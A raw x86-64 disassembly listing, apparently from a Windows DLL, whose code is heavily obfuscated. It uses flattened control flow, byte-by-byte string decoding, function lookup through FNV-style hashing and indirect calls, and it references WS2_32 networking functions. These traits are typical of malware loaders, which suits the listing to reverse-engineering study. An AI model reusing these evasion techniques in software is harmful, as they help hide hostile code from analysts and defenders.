cmp ebp, 0xdf13b7e7
je 0x1800732b2
cmp ebp, 0x4e180d25
jne 0x180073250
mov edx, 0x613fd229
nop word cs:[rax + rax]
nop
cmp edx, 0x613fd229
je 0x180073282
cmp edx, 0x35b0b693
jne 0x180073270
jmp 0x180073289
mov edx, 0x35b0b693
jmp 0x180073270
mov byte [rsp + 0x28], cl
movsx edx, byte [rsp + 0x28]
mov ebp, 0xdf13b7e7
jmp 0x180073250
mov dword [rsp + 0x28], ebp
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x28]
mov byte [rcx + 3], dl
mov ecx, 0xfd347afa
jmp 0x180072bd0
mov dword [rsp + 0x28], edx
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x28]
mov byte [rax + 5], dl
mov dword [rsp + 0x40], 0x57
mov ebp, 0x4e180d25
nop
cmp ebp, 0xdf13b7e7
je 0x180073319
cmp ebp, 0x4e180d25
jne 0x1800732d0
mov edx, 0x613fd229
nop word cs:[rax + rax]
nop
cmp edx, 0x613fd229
je 0x180073302
cmp edx, 0x35b0b693
jne 0x1800732f0
jmp 0x180073309
mov edx, 0x35b0b693
jmp 0x1800732f0
mov byte [rsp + 0x28], cl
movsx edx, byte [rsp + 0x28]
mov ebp, 0xdf13b7e7
jmp 0x1800732d0
mov dword [rsp + 0x28], edx
mov ecx, dword [rsp + 0x40]
xor ecx, dword [rsp + 0x28]
mov byte [rax + 6], cl
add rax, 7
mov rcx, qword [rsp + 0x60]
add rcx, 0xd
mov qword [rsp + 0x30], rcx
mov ecx, 0xdbda756e
jmp 0x180072bd0
mov dword [rsp + 0x30], reloc.WS2_32.dll_inet_addr
movsxd rax, dword [rsp + 0x30]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x38], al
mov ecx, 0x9f724e64
nop word cs:[rax + rax]
cmp ecx, 0x275387f4
je 0x1800737af
cmp ecx, 0x9f724e64
jne 0x180073380
movzx ecx, byte [rsp + 0x38]
mov eax, dword [rsp + 0x50]
add al, cl
mov ecx, 0x275387f4
jmp 0x180073380
lea rcx, [rsp + 0xb8]
call fcn.1800934b0
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov ecx, 0x28ad3f39
movabs r10, 0x100000001b3
mov r11d, 0x87cbc1a8
jmp 0x180073440
mov ecx, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, 0x181b9de8
nop word cs:[rax + rax]
cmp ecx, 0xfe90a09b
jle 0x1800734b0
cmp ecx, 0x333d8297
jle 0x180073500
cmp ecx, 0x5cca55f4
jg 0x18007357a
cmp ecx, 0x333d8298
je 0x180073634
cmp ecx, 0x33ec62ab
je 0x180073647
cmp ecx, 0x42d422e5
jne 0x180073440
mov dword [rsp + 0x40], esi
mov ecx, dword [rsp + 0x40]
movsx ecx, byte [rax + rcx]
mov dword [rsp + 0x70], ecx
mov ecx, dword [rsp + 0x70]
cmp ecx, 0x20
mov ecx, 0xbb6ed30e
cmovge ecx, r13d
jmp 0x180073440
cmp ecx, 0xc5fd57a7
jle 0x180073540
cmp ecx, 0xeb000b68
jg 0x1800735aa
cmp ecx, 0xc5fd57a8
je 0x180073655
cmp ecx, 0xd1e81d16
je 0x180073661
cmp ecx, 0xd597d4ff
jne 0x180073440
mov ecx, 0x42d422e5
mov esi, dword [rsp + 0x74]
jmp 0x180073440
cmp ecx, 0x12a1b9d7
jle 0x1800735d8
cmp ecx, 0x12a1b9d8
je 0x180073678
cmp ecx, 0x181b9de8
je 0x180073687
cmp ecx, 0x28ad3f39
jne 0x180073440
mov ecx, 0x73f80f82
jmp 0x180073440
cmp ecx, 0xb163ad29
jle 0x180073606
cmp ecx, 0xb163ad2a
je 0x1800736b0
cmp ecx, 0xb9d33223
je 0x1800736d1
cmp ecx, 0xbb6ed30e
jne 0x180073440
mov ecx, 0x12a1b9d8
jmp 0x180073440
cmp ecx, 0x5cca55f5
je 0x1800736df
cmp ecx, 0x7343bfbc
je 0x180073406
cmp ecx, 0x73f80f82
jne 0x180073440
mov ecx, 0x42d422e5
xor esi, esi
jmp 0x180073440
cmp ecx, 0xeb000b69
je 0x1800736f4
cmp ecx, 0xfb306983
jne 0x180073759
mov ecx, dword [rsp + 0x70]
cmp ecx, 0x7f
setl byte [rsp + 0x4e]
mov ecx, 0x333d8298
jmp 0x180073440
cmp ecx, 0xfe90a09c
je 0x180073715
cmp ecx, 0x1dd0b01
jne 0x180073440
mov ecx, dword [rsp + 0x5c]
cmp ecx, 0x5b
setl byte [rsp + 0x4f]
mov ecx, 0xd1e81d16
jmp 0x180073440
cmp ecx, 0x87cbc1a8
je 0x180073743
cmp ecx, 0x9302de66
jne 0x180073440
mov rbp, qword [rsp + 0x50]
mov ecx, 0xb163ad2a
mov edi, dword [rsp + 0xb0]
jmp 0x180073440
cmp byte [rsp + 0x4e], 0
mov ecx, 0xbb6ed30e
cmovne ecx, r12d
jmp 0x180073440
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x6c]
jmp 0x180073440
mov dword [rsp + 0x60], ebx
mov ecx, r9d
jmp 0x180073440
cmp byte [rsp + 0x4f], 0
mov ecx, 0xb9d33223
mov edx, 0xfe90a09c
cmovne ecx, edx
jmp 0x180073440
mov ecx, 0xb163ad2a
xor edi, edi
mov rbp, r14
jmp 0x180073440
movsxd rcx, dword [rsp + 0x60]
xor rcx, qword [rsp + 0x30]
imul rcx, r10
mov qword [rsp + 0x50], rcx
mov ecx, dword [rsp + 0x28]
add ecx, 1
mov dword [rsp + 0xb0], ecx
mov ecx, r8d
jmp 0x180073440
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x30], rbp
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + 0x28]
cmp edx, ecx
mov ecx, 0xf6d6bd87
cmovb ecx, r11d
jmp 0x180073440
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x5c]
jmp 0x180073440
mov ecx, dword [rsp + 0x40]
add ecx, 1
mov dword [rsp + 0x74], ecx
mov ecx, 0xd597d4ff
jmp 0x180073440
mov rcx, qword [rsp + 0x38]
movsx ecx, byte [rcx]
mov dword [rsp + 0x5c], ecx
mov ecx, dword [rsp + 0x5c]
cmp ecx, 0x41
mov ecx, 0xb9d33223
cmovge ecx, r15d
jmp 0x180073440
mov ecx, dword [rsp + 0x5c]
mov edx, ecx
and edx, 0x72963832
or edx, 0x8d414380
and ecx, 0x8d69c7ed
xor ecx, edx
xor ecx, 0x8d4143a0
mov dword [rsp + 0x6c], ecx
mov ecx, 0x33ec62ab
jmp 0x180073440
mov ecx, dword [rsp + 0x28]
add rcx, rax
mov qword [rsp + 0x38], rcx
mov ecx, 0xeb000b69
jmp 0x180073440
cmp ecx, 0xf6d6bd87
jne 0x180073440
mov rcx, qword [rsp + 0x30]
call fcn.1800e9be0
mov rcx, qword [rsp + 0x78]
call rax
mov rcx, qword [rsp + 0x78]
call section..text
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x10]
mov r8, qword [rsp + 0x78]
mov edx, 2
call fcn.1800d7f20
test eax, eax
mov eax, 0xa4cd8d1
mov ecx, 0x943853e9
cmove eax, ecx
jmp 0x180071ee0
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x30]
mov byte [rsp + 0xb9], al
mov dword [rsp + 0x50], 0x74
mov eax, 0xd5eaf3f1
nop dword [rax + rax]
cmp eax, 0xd5eaf3f1
je 0x1800737e0
cmp eax, 0x193628f7
jne 0x1800737d0
jmp 0x1800737e7
mov eax, 0x193628f7
jmp 0x1800737d0
mov dword [rsp + 0x30], reloc.WS2_32.dll_inet_addr
movsxd rax, dword [rsp + 0x30]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x38], al
mov ecx, 0x9f724e64
nop dword [rax]
cmp ecx, 0x275387f4
je 0x180073842
cmp ecx, 0x9f724e64
jne 0x180073820
movzx ecx, byte [rsp + 0x38]
mov eax, dword [rsp + 0x50]
add al, cl
mov ecx, 0x275387f4
jmp 0x180073820
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x30]
mov byte [rsp + 0xba], al
mov dword [rsp + 0x50], 0x54
mov eax, 0xd5eaf3f1
nop
cmp eax, 0xd5eaf3f1
je 0x180073870
cmp eax, 0x193628f7
jne 0x180073860
jmp 0x180073877
mov eax, 0x193628f7
jmp 0x180073860
mov dword [rsp + 0x30], reloc.WS2_32.dll_inet_addr
movsxd rax, dword [rsp + 0x30]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x38], al
mov ecx, 0x9f724e64
nop dword [rax]
cmp ecx, 0x275387f4
je 0x1800738d2
cmp ecx, 0x9f724e64
jne 0x1800738b0
movzx ecx, byte [rsp + 0x38]
mov eax, dword [rsp + 0x50]
add al, cl
mov ecx, 0x275387f4
jmp 0x1800738b0
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x30]
mov byte [rsp + 0xbb], al
mov dword [rsp + 0x50], 0x65
mov eax, 0xd5eaf3f1
nop
cmp eax, 0xd5eaf3f1
je 0x180073900
cmp eax, 0x193628f7
jne 0x1800738f0
jmp 0x180073907
mov eax, 0x193628f7
jmp 0x1800738f0
mov dword [rsp + 0x30], reloc.WS2_32.dll_inet_addr
movsxd rax, dword [rsp + 0x30]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x38], al
mov ecx, 0x9f724e64
nop dword [rax]
cmp ecx, 0x275387f4
je 0x180073962
cmp ecx, 0x9f724e64
jne 0x180073940
movzx ecx, byte [rsp + 0x38]
mov eax, dword [rsp + 0x50]
add al, cl
mov ecx, 0x275387f4
jmp 0x180073940
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x30]
mov byte [rsp + 0xbc], al
mov dword [rsp + 0x50], WSAStartup
mov eax, 0xd5eaf3f1
nop
cmp eax, 0xd5eaf3f1
je 0x180073990
cmp eax, 0x193628f7
jne 0x180073980
jmp 0x180073997
mov eax, 0x193628f7
jmp 0x180073980
mov dword [rsp + 0x30], reloc.WS2_32.dll_inet_addr
movsxd rax, dword [rsp + 0x30]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x38], al
mov ecx, 0x9f724e64
nop dword [rax]
cmp ecx, 0x275387f4
je 0x1800739f2
cmp ecx, 0x9f724e64
jne 0x1800739d0
movzx ecx, byte [rsp + 0x38]
mov eax, dword [rsp + 0x50]
add al, cl
mov ecx, 0x275387f4
jmp 0x1800739d0
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x30]
mov byte [rsp + 0xbd], al
mov dword [rsp + 0x50], WSAStartup
mov eax, 0xd5eaf3f1
nop
cmp eax, 0xd5eaf3f1
je 0x180073a20
cmp eax, 0x193628f7
jne 0x180073a10
jmp 0x180073a27
mov eax, 0x193628f7
jmp 0x180073a10
mov dword [rsp + 0x30], reloc.WS2_32.dll_inet_addr
movsxd rax, dword [rsp + 0x30]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x38], al
mov ecx, 0x9f724e64
nop dword [rax]
cmp ecx, 0x275387f4
je 0x180073a82
cmp ecx, 0x9f724e64
jne 0x180073a60
movzx ecx, byte [rsp + 0x38]
mov eax, dword [rsp + 0x50]
add al, cl
mov ecx, 0x275387f4
jmp 0x180073a60
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x30]
mov byte [rsp + 0xbe], al
lea rax, [rsp + 0xbf]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0xb0], 0x50
mov eax, 0x52c332fd
nop dword [rax + rax]
cmp eax, 0x5e9333a0
je 0x180073d38
cmp eax, 0x52c332fd
jne 0x180073ab0
movsx eax, byte [rsp + 0xb0]
mov dword [rsp + 0x60], eax
mov eax, 0xd5eaf3f1
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xd5eaf3f1
je 0x180073af0
cmp eax, 0x193628f7
jne 0x180073ae0
jmp 0x180073af7
mov eax, 0x193628f7
jmp 0x180073ae0
mov dword [rsp + 0x38], reloc.WS2_32.dll_inet_addr
movsxd rax, dword [rsp + 0x38]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x28], al
mov ecx, 0x9f724e64
nop dword [rax]
cmp ecx, 0x275387f4
je 0x180073b52
cmp ecx, 0x9f724e64
jne 0x180073b30
movzx ecx, byte [rsp + 0x28]
mov eax, dword [rsp + 0x60]
add al, cl
mov ecx, 0x275387f4
jmp 0x180073b30
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x50]
mov byte [rcx], al
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x60], 0x61
mov ecx, 0xd5eaf3f1
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd5eaf3f1
je 0x180073b92
cmp ecx, 0x193628f7
jne 0x180073b80
jmp 0x180073b99
mov ecx, 0x193628f7
jmp 0x180073b80
mov dword [rsp + 0x38], reloc.WS2_32.dll_inet_addr
movsxd rcx, dword [rsp + 0x38]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov byte [rsp + 0x28], cl
mov edx, 0x9f724e64
nop dword [rax + rax]
cmp edx, 0x275387f4
je 0x180073bf2
cmp edx, 0x9f724e64
jne 0x180073bd0
movzx edx, byte [rsp + 0x28]
mov ecx, dword [rsp + 0x60]
add cl, dl
mov edx, 0x275387f4
jmp 0x180073bd0
mov byte [rsp + 0x38], cl
mov cl, byte [rsp + 0x38]
mov byte [rax + 1], cl
mov dword [rsp + 0x60], 0x74
mov ecx, 0xd5eaf3f1
nop word [rax + rax]
cmp ecx, 0xd5eaf3f1
je 0x180073c22
cmp ecx, 0x193628f7
jne 0x180073c10
jmp 0x180073c29
mov ecx, 0x193628f7
jmp 0x180073c10
mov dword [rsp + 0x38], reloc.WS2_32.dll_inet_addr
movsxd rcx, dword [rsp + 0x38]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov byte [rsp + 0x28], cl
mov edx, 0x9f724e64
nop dword [rax + rax]
cmp edx, 0x275387f4
je 0x180073c82
cmp edx, 0x9f724e64
jne 0x180073c60
movzx edx, byte [rsp + 0x28]
mov ecx, dword [rsp + 0x60]
add cl, dl
mov edx, 0x275387f4
jmp 0x180073c60
mov byte [rsp + 0x38], cl
mov cl, byte [rsp + 0x38]
mov byte [rax + 2], cl
add rax, 3
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x60], 0x68
mov eax, 0xd5eaf3f1
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xd5eaf3f1
je 0x180073cc0
cmp eax, 0x193628f7
jne 0x180073cb0
jmp 0x180073cc7
mov eax, 0x193628f7
jmp 0x180073cb0
mov dword [rsp + 0x38], reloc.WS2_32.dll_inet_addr
movsxd rax, dword [rsp + 0x38]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x28], al
mov ecx, 0x9f724e64
nop dword [rax]
cmp ecx, 0x275387f4
je 0x180073d22
cmp ecx, 0x9f724e64
jne 0x180073d00
movzx ecx, byte [rsp + 0x28]
mov eax, dword [rsp + 0x60]
add al, cl
mov ecx, 0x275387f4
jmp 0x180073d00
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x38]
mov byte [rsp + 0x40], al
mov eax, 0x5e9333a0
jmp 0x180073ab0
mov rax, qword [rsp + 0x30]
mov cl, byte [rsp + 0x40]
mov byte [rax], cl
mov rax, qword [rsp + 0x30]
mov dword [rsp + 0x60], 0x57
mov ecx, 0xd5eaf3f1
nop word cs:[rax + rax]
nop
cmp ecx, 0xd5eaf3f1
je 0x180073d72
cmp ecx, 0x193628f7
jne 0x180073d60
jmp 0x180073d79
mov ecx, 0x193628f7
jmp 0x180073d60
mov dword [rsp + 0x38], reloc.WS2_32.dll_inet_addr
movsxd rcx, dword [rsp + 0x38]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov byte [rsp + 0x28], cl
mov edx, 0x9f724e64
nop dword [rax + rax]
cmp edx, 0x275387f4
je 0x180073dd2
cmp edx, 0x9f724e64
jne 0x180073db0
movzx edx, byte [rsp + 0x28]
mov ecx, dword [rsp + 0x60]
add cl, dl
mov edx, 0x275387f4
jmp 0x180073db0
mov byte [rsp + 0x38], cl
mov cl, byte [rsp + 0x38]
mov byte [rax + 1], cl
mov byte [rax + 2], 0
lea rcx, [rsp + 0xb8]
call fcn.180092f70
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov ecx, 0x28ad3f39
movabs r10, 0x100000001b3
mov r11d, 0x87cbc1a8
jmp 0x180073e80
mov ecx, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, 0x181b9de8
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfe90a09b
jle 0x180073ef0
cmp ecx, 0x333d8297
jle 0x180073f40
cmp ecx, 0x5cca55f4
jg 0x180073fba
cmp ecx, 0x333d8298
je 0x180074074
cmp ecx, 0x33ec62ab
je 0x180074087
cmp ecx, 0x42d422e5
jne 0x180073e80
mov dword [rsp + 0x40], esi
mov ecx, dword [rsp + 0x40]
movsx ecx, byte [rax + rcx]
mov dword [rsp + 0x70], ecx
mov ecx, dword [rsp + 0x70]
cmp ecx, 0x20
mov ecx, 0xbb6ed30e
cmovge ecx, r13d
jmp 0x180073e80
cmp ecx, 0xc5fd57a7
jle 0x180073f80
cmp ecx, 0xeb000b68
jg 0x180073fea
cmp ecx, 0xc5fd57a8
je 0x180074095
cmp ecx, 0xd1e81d16
je 0x1800740a1
cmp ecx, 0xd597d4ff
jne 0x180073e80
mov ecx, 0x42d422e5
mov esi, dword [rsp + 0x74]
jmp 0x180073e80
cmp ecx, 0x12a1b9d7
jle 0x180074018
cmp ecx, 0x12a1b9d8
je 0x1800740b8
cmp ecx, 0x181b9de8
je 0x1800740c7
cmp ecx, 0x28ad3f39
jne 0x180073e80
mov ecx, 0x73f80f82
jmp 0x180073e80
cmp ecx, 0xb163ad29
jle 0x180074046
cmp ecx, 0xb163ad2a
je 0x1800740f0
cmp ecx, 0xb9d33223
je 0x180074111
cmp ecx, 0xbb6ed30e
jne 0x180073e80
mov ecx, 0x12a1b9d8
jmp 0x180073e80
cmp ecx, 0x5cca55f5
je 0x18007411f
cmp ecx, 0x7343bfbc
je 0x180073e41
cmp ecx, 0x73f80f82
jne 0x180073e80
mov ecx, 0x42d422e5
xor esi, esi
jmp 0x180073e80
cmp ecx, 0xeb000b69
je 0x180074134
cmp ecx, 0xfb306983
jne 0x180074199
mov ecx, dword [rsp + 0x70]
cmp ecx, 0x7f
setl byte [rsp + 0x4e]
mov ecx, 0x333d8298
jmp 0x180073e80
cmp ecx, 0xfe90a09c
je 0x180074155
cmp ecx, 0x1dd0b01
jne 0x180073e80
mov ecx, dword [rsp + 0x5c]
cmp ecx, 0x5b
setl byte [rsp + 0x4f]
mov ecx, 0xd1e81d16
jmp 0x180073e80
cmp ecx, 0x87cbc1a8
je 0x180074183
cmp ecx, 0x9302de66
jne 0x180073e80
mov rbp, qword [rsp + 0x50]
mov ecx, 0xb163ad2a
mov edi, dword [rsp + 0xb0]
jmp 0x180073e80
cmp byte [rsp + 0x4e], 0
mov ecx, 0xbb6ed30e
cmovne ecx, r12d
jmp 0x180073e80
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x6c]
jmp 0x180073e80
mov dword [rsp + 0x60], ebx
mov ecx, r9d
jmp 0x180073e80
cmp byte [rsp + 0x4f], 0
mov ecx, 0xb9d33223
mov edx, 0xfe90a09c
cmovne ecx, edx
jmp 0x180073e80
mov ecx, 0xb163ad2a
xor edi, edi
mov rbp, r14
jmp 0x180073e80
movsxd rcx, dword [rsp + 0x60]
xor rcx, qword [rsp + 0x30]
imul rcx, r10
mov qword [rsp + 0x50], rcx
mov ecx, dword [rsp + 0x28]
add ecx, 1
mov dword [rsp + 0xb0], ecx
mov ecx, r8d
jmp 0x180073e80
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x30], rbp
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + 0x28]
cmp edx, ecx
mov ecx, 0xf6d6bd87
cmovb ecx, r11d
jmp 0x180073e80
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x5c]
jmp 0x180073e80
mov ecx, dword [rsp + 0x40]
add ecx, 1
mov dword [rsp + 0x74], ecx
mov ecx, 0xd597d4ff
jmp 0x180073e80
mov rcx, qword [rsp + 0x38]
movsx ecx, byte [rcx]
mov dword [rsp + 0x5c], ecx
mov ecx, dword [rsp + 0x5c]
cmp ecx, 0x41
mov ecx, 0xb9d33223
cmovge ecx, r15d
jmp 0x180073e80
mov ecx, dword [rsp + 0x5c]
mov edx, ecx
and edx, 0x72963832
or edx, 0x8d414380
and ecx, 0x8d69c7ed
xor ecx, edx
xor ecx, 0x8d4143a0
mov dword [rsp + 0x6c], ecx
mov ecx, 0x33ec62ab
jmp 0x180073e80
mov ecx, dword [rsp + 0x28]
add rcx, rax
mov qword [rsp + 0x38], rcx
mov ecx, 0xeb000b69
jmp 0x180073e80
cmp ecx, 0xf6d6bd87
jne 0x180073e80
mov rcx, qword [rsp + 0x30]
call fcn.1800e9be0
lea rcx, [rsp + 0x8d0]
mov qword [rsp + 0x98], rcx
mov rdx, qword [rsp + 0x98]
mov ecx, 0x400
call rax
mov eax, 0x41e4402e
jmp 0x180071ee0
cmp eax, 0xd5aaafe
jne 0x180071ee0
mov rax, qword [rsp + 0x90]
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x10d0]
xor rcx, rsp
call fcn.1800fabf0
mov eax, dword [rsp + 0x84]
add rsp, 0x10d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret